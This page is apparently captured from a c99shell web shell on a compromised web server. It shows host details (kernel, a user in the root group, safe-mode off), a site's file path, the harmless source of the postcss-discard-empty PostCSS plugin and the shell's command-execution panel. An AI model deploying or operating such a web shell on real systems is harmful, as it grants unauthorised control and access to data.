Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/inventory.picotech.app/public_html/node_modules/postcss-discard-empty/src/ drwxr-xr-x | |
| Viewing file: Select action/file-type: 'use strict';
const plugin = 'postcss-discard-empty';
/**
* @param {import('postcss').Root} css
* @param {import('postcss').Result} result
* @return {void}
*/
function discardAndReport(css, result) {
/**
* @param {import('postcss').AnyNode} node
* @return {void}
*/
function discardEmpty(node) {
const { type } = node;
/** @type {(import('postcss').ChildNode | import('postcss').ChildProps)[] | undefined} */
const sub = /** @type {any} */ (node).nodes;
if (sub) {
/** @type {import('postcss').Container} */ (node).each(discardEmpty);
}
if (
(type === 'decl' && !node.value && !node.prop.startsWith('--')) ||
(type === 'rule' && !node.selector) ||
(sub && !sub.length) ||
(type === 'atrule' &&
((!sub && !node.params) ||
(!node.params &&
!(/** @type {import('postcss').ChildNode[]}*/ (sub).length))))
) {
node.remove();
result.messages.push({
type: 'removal',
plugin,
node,
});
}
}
css.each(discardEmpty);
}
/**
* @type {import('postcss').PluginCreator<void>}
* @return {import('postcss').Plugin}
*/
function pluginCreator() {
return {
postcssPlugin: plugin,
OnceExit(css, { result }) {
discardAndReport(css, result);
},
};
}
pluginCreator.postcss = true;
module.exports = pluginCreator;
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]-- |